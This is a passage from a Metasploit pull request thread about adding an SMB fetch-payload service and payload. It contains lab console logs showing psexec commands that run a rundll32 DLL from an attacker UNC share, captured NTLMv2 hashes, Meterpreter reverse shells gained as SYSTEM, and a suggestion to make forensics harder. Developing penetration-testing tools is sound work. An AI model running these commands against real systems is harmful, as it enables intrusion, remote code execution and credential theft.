msf6 payload(cmd/windows/smb/x64/messagebox) > jobs -K
Stopping all jobs...
msf6 payload(cmd/windows/smb/x64/messagebox) > to_handler 
[*] Payload Handler Started as Job 1
msf6 payload(cmd/windows/smb/x64/messagebox) > 
[SMB] NTLMv2-SSP Client     : 192.168.159.10
[SMB] NTLMv2-SSP Username   : MSFLAB\smcintyre
[SMB] NTLMv2-SSP Hash       : smcintyre::MSFLAB:c7fbeb3ffffb5ef0:94c95270b59643ddac80ce4f149f98ad:010100000000000080e2c2a50e5fda01f62367a5c230c55300000000020016004c004f00430041004c0044004f004d00410049004e00010012004c004f00430041004c0048004f0053005400040016004c004f00430041004c0044004f004d00410049004e00030012004c004f00430041004c0048004f00530054000700080080e2c2a50e4fda0106000400020000000800300030000000000000000100000000200000c32c30a874388eb3a257956cf5fd3964eaf8764efd019735b2ec489a1ace5b0d0a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100350039002e003100320038000000000000000000

Interrupt: use the 'exit' command to quit
msf6 payload(cmd/windows/smb/x64/messagebox) > jobs -K
Stopping all jobs...
msf6 payload(cmd/windows/smb/x64/messagebox) > show options 

Module options (payload/cmd/windows/smb/x64/messagebox):

   Name            Current Setting   Required  Description
   ----            ---------------   --------  -----------
   EXITFUNC        process           yes       Exit technique (Accepted: '', seh, thread, process, none)
   FETCH_FILENAME  test.dll          yes       Payload file name to fetch; cannot contain spaces or slashes.
   FETCH_SRVHOST   192.168.159.128   yes       Local IP to use for serving payload
   FETCH_URIPATH                     no        Local URI to use for serving payload
   ICON            NO                yes       Icon type (Accepted: NO, ERROR, INFORMATION, WARNING, QUESTION)
   TEXT            Hello, from MSF!  yes       Messagebox Text
   TITLE           MessageBox        yes       Messagebox Title


View the full module info with the info, or info -d command.

msf6 payload(cmd/windows/smb/x64/messagebox) > set TEXT Hello, test 2!
TEXT => Hello, test 2!
msf6 payload(cmd/windows/smb/x64/messagebox) > to_handler 
[*] Payload Handler Started as Job 2
msf6 payload(cmd/windows/smb/x64/messagebox) > 
[SMB] NTLMv2-SSP Client     : 192.168.159.10
[SMB] NTLMv2-SSP Username   : MSFLAB\smcintyre
[SMB] NTLMv2-SSP Hash       : smcintyre::MSFLAB:84cca89f9a4bcfa6:b10db80b7c5754bd07b153db75b96f44:010100000000000080b2d5b80e5fda010df793597d6d2b9600000000020016004c004f00430041004c0044004f004d00410049004e00010012004c004f00430041004c0048004f0053005400040016004c004f00430041004c0044004f004d00410049004e00030012004c004f00430041004c0048004f00530054000700080080b2d5b80e4fda0106000400020000000800300030000000000000000100000000200000c32c30a874388eb3a257956cf5fd3964eaf8764efd019735b2ec489a1ace5b0d0a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100350039002e003100320038000000000000000000

)

log_device = LogDevice::Framework.new(framework)
logger = Logger.new(self, log_device)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What are your thoughts on following the pattern that the smb_relay module uses?

i.e. Verbose will log to stdout which is useful for debugging things without needing tail -f on the framework log

  def smb_logger
    log_device = datastore['VERBOSE'] ? Msf::Exploit::Remote::SMB::LogAdapter::LogDevice::Module.new(self) : Msf::Exploit::Remote::SMB::LogAdapter::LogDevice::Framework.new(framework)
    Msf::Exploit::Remote::SMB::LogAdapter::Logger.new(self, log_device)
  end

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Added in commit 209f778. I realized though that once the server instance is shared because #18680 is landed that only the VERBOSE setting of the original module will be used. That could cause some confusion when the messages don't show up because the first module that started the SMB server isn't configured the same way. This discussion may be better over in the other PR, but to alleviate that confusion, we could take the logger's configuration into the .hardcore_alias method, but that would mean that every SMB module would need to use the same VERBOSE setting, which could be worse.

I think the best solution could be something more general that sends the framework logs to stdout or stderr, but that's outside the scope of this project.

cleanup_handler
fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{Rex::Socket.to_authority(srvhost, srvport)}\n#{e}")
end

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is absolutely not blocking, but reading this it strikes me we could add a layer of sneaky by implementing the trick from themebleed- this should open the file for execution, but if someone saw this unc path and wanted to do forensics, they'd request it and that would open it for read. If we served a separate file for read/execute like themebleed, it would make forensics harder. Not sure if it is worth the additional work and complexity, but it would be a sneaky move.

@bwatters-r7
Copy link
Contributor

I have some minor odd feelings about the default assumption that we'll always use rundll32 and use Windows system to query it as a diskless implementation.

Yes, Windows systems cannot use any port other than 445, but if we chose to allow it to download and run an exe using CURL, I think we could use non-port 445? Also same thing if we wanted to let Linux pull down a file through smb on a random port.

What are your thoughts to adding rundll32 as a FETCH_COMMAND option on the windows version, then have that use the diskless launch, but leave the ability to download and run an exe as well, like the other fetch implementations?

@zeroSteiner
Copy link
Contributor Author

Also same thing if we wanted to let Linux pull down a file through smb on a random port.

The code that pins the port to 445 is in the Windows-specific file modules/payloads/adapters/cmd/windows/smb/x64.rb. If a Linux equivalent is written, it should just leave the FETCH_SRVPORT registered and leave the #srvport method alone instead of overriding it.

What are your thoughts to adding rundll32 as a FETCH_COMMAND option on the windows version, then have that use the diskless launch, but leave the ability to download and run an exe as well, like the other fetch implementations?

Well it doesn't look like SMB is supported by cURL on Windows Server 2019 at least:
image

Even if it was supported though, I'm not sure the advantage of allowing use over a port other than 445 justifies the disadvantage of it not being universally compatible with Windows versions and it having to write to disk. We could just do a copy operation using the UNC path, but again it'd have to be over port 445 and we'd be writing it to disk which are both disadvantages.

@bwatters-r7
Copy link
Contributor

Well it doesn't look like SMB is supported by cURL on Windows Server 2019 at least

TIL! Thanks, Microsoft.

* Build the HTTPS server on top of HTTP instead of the other way around
* Set the fetch service to nil after it has been cleaned up
* Don't capitalize the H in the word handler
* Check if the fetch_service is truthy before cleaning it up
* Remove the unused FetchServerName datastore option
* Fixup the description text
* Don't allow slashes in fetch file names
* Also add the #fetch_bindnetloc method

Fix a problem in fetch/tftp.rb
The SRVPORT datastore option is registered by the Remote::SMB::Server
mixin so including it here is redundant.
Use #srvport instead of the datastore and pull in upstream chanes for
the metasploit-credential gem to enable use within payloads.
@cdelafuente-r7
Copy link
Contributor

I came across an issue with windows/smb/psexec when I tried to two run the module twice with a reverse payload (cmd/windows/smb/x64/meterpreter/reverse_tcp). It fails the second time. I checked with Wireshark and the payload is correctly downloaded. However, when it is executed on the target, I noticed the connection back is RST'ed by the host running the handler. I have to close and reopen msfconsole to be able to make it work again.

msf6 > use windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set target Command
target => Command
msf6 exploit(windows/smb/psexec) > set payload cmd/windows/smb/x64/meterpreter/reverse_tcp
payload => cmd/windows/smb/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > run verbose=true rhosts=192.168.128.104 lhost=192.168.128.229 SMBUser=Administrator SMBPass=123456

[*] Command to run on remote host: rundll32 \\192.168.128.229\b17zV44p70hr5qFerDR9kw\test.dll,0
[*] Starting SMB server on 192.168.128.229:445
[*] Started reverse TCP handler on 192.168.128.229:4444
[*] 192.168.128.104:445 - Connecting to the server...
[*] 192.168.128.104:445 - Authenticating to 192.168.128.104:445 as user 'Administrator'...
[*] 192.168.128.104:445 - Executing the command: %COMSPEC% /C echo rundll32 \\192.168.128.229\b17zV44p70hr5qFerDR9kw\test.dll,0 ^> %SYSTEMDRIVE%\Windows\Temp\MEALUeYpZ.txt > \Windows\Temp\ttmwIkqZnfOT.bat & %COMSPEC% /C start %COMSPEC% /C \Windows\Temp\ttmwIkqZnfOT.bat
[*] 192.168.128.104:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.128.104[\svcctl] ...
[*] 192.168.128.104:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.128.104[\svcctl] ...
[*] 192.168.128.104:445 - Obtaining a service manager handle...
[*] 192.168.128.104:445 - Creating the service...
[+] 192.168.128.104:445 - Successfully created the service
[*] 192.168.128.104:445 - Starting the service...
[*] Received SMB connection from 192.168.128.104
[SMB] NTLMv2-SSP Client     : 192.168.128.104
[SMB] NTLMv2-SSP Username   : MYLAB\DC02$
[SMB] NTLMv2-SSP Hash       : DC02$::MYLAB:d246e13ac2935d37:e2c7bd274a5ec9156c262a85e4658ee2:01010000000000008062066e3259da016bae4814e798d35e00000000020016004c004f00430041004c0044004f004d00410049004e00010012004c004f00430041004c0048004f0053005400040016004c004f00430041004c0044004f004d00410049004e00030012004c004f00430041004c0048004f0053005400070008008062066e3259da0106000400020000000800300030000000000000000000000000400000b6878d322530d323b17a795c69d7dd94861c41bdec405415d724f834ecbd901c0a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100340034002e00310032003900000000000000000000000000

[*] Sending stage (201798 bytes) to 192.168.128.104
[+] 192.168.128.104:445 - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.128.104:445 - Removing the service...
[+] 192.168.128.104:445 - Successfully removed the service
[*] 192.168.128.104:445 - Closing service handle...
[*] Meterpreter session 1 opened (192.168.128.229:4444 -> 192.168.128.104:50011) at 2024-02-06 14:26:51 -0500
[*] 192.168.128.104:445 - Checking if the file is unlocked...
[-] 192.168.128.104:445 - Unable to get handle: The server responded with an unexpected status code: STATUS_SHARING_VIOLATION
[-] 192.168.128.104:445 - Command seems to still be executing. Try increasing RETRY and DELAY
[*] 192.168.128.104:445 - Getting the command output...
[-] 192.168.128.104:445 - Unable to read file \Windows\Temp\MEALUeYpZ.txt. RubySMB::Error::UnexpectedStatusCode: The server responded with an unexpected status code: STATUS_SHARING_VIOLATION.
[-] 192.168.128.104:445 - Error getting command output
[*] 192.168.128.104:445 - Executing cleanup...
[+] 192.168.128.104:445 - Cleanup was successful

meterpreter > [*] Shutting down session: 1

[*] 192.168.128.104 - Meterpreter session 1 closed.  Reason: User exit
msf6 > use windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set target Command
target => Command
msf6 exploit(windows/smb/psexec) > set payload cmd/windows/smb/x64/meterpreter/reverse_tcp
payload => cmd/windows/smb/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > run verbose=true rhosts=192.168.128.104 lhost=192.168.128.229 SMBUser=Administrator SMBPass=123456

[*] Command to run on remote host: rundll32 \\192.168.128.229\b17zV44p70hr5qFerDR9kw\test.dll,0
[*] Starting SMB server on 192.168.128.229:445
[*] 192.168.128.104:445 - Connecting to the server...
[*] 192.168.128.104:445 - Authenticating to 192.168.128.104:445 as user 'Administrator'...
[*] 192.168.128.104:445 - Executing the command: %COMSPEC% /C echo rundll32 \\192.168.128.229\b17zV44p70hr5qFerDR9kw\test.dll,0 ^> %SYSTEMDRIVE%\Windows\Temp\SobCtiTxZSf.txt > \Windows\Temp\oNHcUNdFMfBtuWSp.bat & %COMSPEC% /C start %COMSPEC% /C \Windows\Temp\oNHcUNdFMfBtuWSp.bat
[*] 192.168.128.104:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.128.104[\svcctl] ...
[*] 192.168.128.104:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.128.104[\svcctl] ...
[*] 192.168.128.104:445 - Obtaining a service manager handle...
[*] 192.168.128.104:445 - Creating the service...
[+] 192.168.128.104:445 - Successfully created the service
[*] 192.168.128.104:445 - Starting the service...
[*] Received SMB connection from 192.168.128.104
[*] Skipping previously captured hash for MYLAB\DC02$
[+] 192.168.128.104:445 - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.128.104:445 - Removing the service...
[+] 192.168.128.104:445 - Successfully removed the service
[*] 192.168.128.104:445 - Closing service handle...
[*] 192.168.128.104:445 - Checking if the file is unlocked...
[-] 192.168.128.104:445 - Unable to get handle: The server responded with an unexpected status code: STATUS_SHARING_VIOLATION
[-] 192.168.128.104:445 - Command seems to still be executing. Try increasing RETRY and DELAY
[*] 192.168.128.104:445 - Getting the command output...
[-] 192.168.128.104:445 - Unable to read file \Windows\Temp\SobCtiTxZSf.txt. RubySMB::Error::UnexpectedStatusCode: The server responded with an unexpected status code: STATUS_SHARING_VIOLATION.
[-] 192.168.128.104:445 - Error getting command output
[*] 192.168.128.104:445 - Executing cleanup...
[+] 192.168.128.104:445 - Cleanup was successful
[*] Exploit completed, but no session was created.

It doesn't occur with a bind payload (cmd/windows/smb/x64/meterpreter/bind_tcp).

Also, I'm not sure if it is expected, but I noticed the services are still running even after the module finished:

msf6 exploit(windows/smb/psexec) > features set manager_commands true
manager_commands => true
[*] Reloading module...
msf6 exploit(windows/smb/psexec) > _servicemanager
Services
========

 Id  Name                                                                                                                                                                                           References
 --  ----                                                                                                                                                                                           ----------
 0   Rex::Proto::SMB::Server445-192.168.128.229-Rex::Socket::Comm::Local-Msf::Exploit::Remote::SMB::Server::HashCapture::HashCaptureNTLMProvider(allow=ANONYMOUS|GUESTS, default_domain=WORKGROUP)  2
 1   SMB Server                                                                                                                                                                                     2

msf6 exploit(windows/smb/psexec) > services -u
Services
========

host             port  proto  name  state  info
----             ----  -----  ----  -----  ----
192.168.128.104  445   tcp    smb   open

I checked with netstat and no connection is established.

@zeroSteiner
Copy link
Contributor Author

zeroSteiner commented Feb 9, 2024

@cdelafuente-r7 I was able to reproduce the issue you ran into and fixed it in 7e59380. The issue was related to the SessionCompatibility#cleanup method not invoking the super method and thus preventing things from being cleaned up.

@cdelafuente-r7
Copy link
Contributor

Thanks for updating this @zeroSteiner ! Everything looks good to me now. I tested against Windows Server 2019, Windows 7 and Windows 11 and verified I got a session. I'll go ahead and land it.

  • Example output (Windows Server 2019):
msf6 exploit(windows/smb/psexec) > set payload cmd/windows/smb/x64/meterpreter/reverse_tcp
payload => cmd/windows/smb/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set target Command
target => Command
msf6 exploit(windows/smb/psexec) > run verbose=true rhosts=192.168.128.114 lhost=192.168.128.1 SMBUser=Administrator SMBPass=123456

[*] Command to run on remote host: rundll32 \\192.168.128.1\mvgIm8doh7YyKtUHOZ6Gsw\test.dll,0
[*] Starting SMB server on 192.168.128.1:445
[*] Started reverse TCP handler on 192.168.128.1:4444
[*] 192.168.128.114:445 - Connecting to the server...
[*] 192.168.128.114:445 - Authenticating to 192.168.128.114:445 as user 'Administrator'...
[*] 192.168.128.114:445 - Executing the command: %COMSPEC% /C echo rundll32 \\192.168.128.1\mvgIm8doh7YyKtUHOZ6Gsw\test.dll,0 ^> %SYSTEMDRIVE%\Windows\Temp\UiPhEgkZWKqRrd.txt > \Windows\Temp\NikDEqtHTeP.bat & %COMSPEC% /C start %COMSPEC% /C \Windows\Temp\NikDEqtHTeP.bat
[*] 192.168.128.114:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.128.114[\svcctl] ...
[*] 192.168.128.114:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.128.114[\svcctl] ...
[*] 192.168.128.114:445 - Obtaining a service manager handle...
[*] 192.168.128.114:445 - Creating the service...
[+] 192.168.128.114:445 - Successfully created the service
[*] 192.168.128.114:445 - Starting the service...
[*] Received SMB connection from 192.168.128.114
[SMB] NTLMv2-SSP Client     : 192.168.128.114
[SMB] NTLMv2-SSP Username   : MYLAB\DC02$
[SMB] NTLMv2-SSP Hash       : DC02$::MYLAB:1044c64315fe550c:d0f658be75950b79f27cde30ddfe7559:01010000000000000071dd5e3f5fda011a070b8e141cc8c200000000020016004c004f00430041004c0044004f004d00410049004e00010012004c004f00430041004c0048004f0053005400040016004c004f00430041004c0044004f004d00410049004e00030012004c004f00430041004c0048004f0053005400070008000071dd5e3f5fda0106000400020000000800300030000000000000000000000000400000d1796c1d10f1fb567fab8b5e18661b1ab20763666721ace8024415f46f39b71c0a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e003100340034002e003100000000000000000000000000

[*] Sending stage (201798 bytes) to 192.168.128.114
[+] 192.168.128.114:445 - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.128.114:445 - Removing the service...
[+] 192.168.128.114:445 - Successfully removed the service
[*] 192.168.128.114:445 - Closing service handle...
[*] Meterpreter session 1 opened (192.168.128.1:4444 -> 192.168.128.114:63881) at 2024-02-14 13:14:37 +0100
[*] 192.168.128.114:445 - Checking if the file is unlocked...
[-] 192.168.128.114:445 - Unable to get handle: The server responded with an unexpected status code: STATUS_SHARING_VIOLATION
[-] 192.168.128.114:445 - Command seems to still be executing. Try increasing RETRY and DELAY
[*] 192.168.128.114:445 - Getting the command output...
[-] 192.168.128.114:445 - Unable to read file \Windows\Temp\UiPhEgkZWKqRrd.txt. RubySMB::Error::UnexpectedStatusCode: The server responded with an unexpected status code: STATUS_SHARING_VIOLATION.
[-] 192.168.128.114:445 - Error getting command output
[*] 192.168.128.114:445 - Executing cleanup...
[+] 192.168.128.114:445 - Cleanup was successful

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DC02
OS              : Windows Server 2019 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : MYLAB
Logged On Users : 8
Meterpreter     : x64/windows

@cdelafuente-r7 cdelafuente-r7 merged commit fc5a124 into rapid7:master Feb 14, 2024
49 checks passed
@cdelafuente-r7
Copy link
Contributor

Release Notes

This adds an SMB fetch-payload service and a new payload to use it. The payload invokes rundll32 but handles everything for the user automatically.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
payload rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

None yet

6 participants